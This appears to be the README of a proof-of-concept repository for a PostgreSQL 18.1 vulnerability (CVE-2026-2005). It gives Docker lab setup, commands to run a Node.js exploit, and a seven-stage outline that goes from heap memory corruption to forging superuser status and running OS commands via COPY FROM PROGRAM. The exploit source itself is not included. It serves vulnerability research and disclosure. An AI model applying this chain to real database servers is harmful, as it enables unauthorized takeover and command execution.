# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build

# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"

# Install node deps
npm install

# Run the full RCE exploit chain
node exploit.js --cmd "id"

# With verbose output
node exploit.js --cmd "id" --verbose

# Execute a custom command
node exploit.js --cmd "whoami"

Stage 1: Heap pointer leak
  └─ Corrupt mdst chunk header → parse pfree() error message

Stage 2: Arbitrary read (multi-offset scan)
  └─ Overwrite mdst->data → scan memory near leaked pointer

Stage 3: Pointer candidate collection
  └─ Scan heap dump for non-heap addresses

Stage 4: PIE base resolution
  └─ Read /proc/<pid>/maps via Docker exec (100% reliable)

Stage 5: (skipped — PIE base is known from maps)

Stage 6: Arbitrary write
  └─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)

Stage 7: Command execution
  └─ COPY FROM PROGRAM → arbitrary OS command as postgres user

CVE-2026-2005/
├── Dockerfile              # Builds PostgreSQL 18.1 from source
├── docker-compose.yml      # PostgreSQL service with auto-restart
├── init.sh                 # Entrypoint — initdb + listen config
├── README.md               # This file
└── poc/
    ├── package.json        # Node.js dependencies (pg)
    ├── exploit.js          # Full 7-stage RCE exploit (Node.js)
    ├── verify.sh           # Shell-based quick verification
    └── test-pgcrypto.sql   # SQL-only test of pgcrypto loading

git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
    --prefix="$HOME/projects/pg/pgsql" \
    --with-libxml \
    --with-libxslt \
    --enable-debug \
    --with-ssl=openssl
make -j$(nproc)
make install-world-bin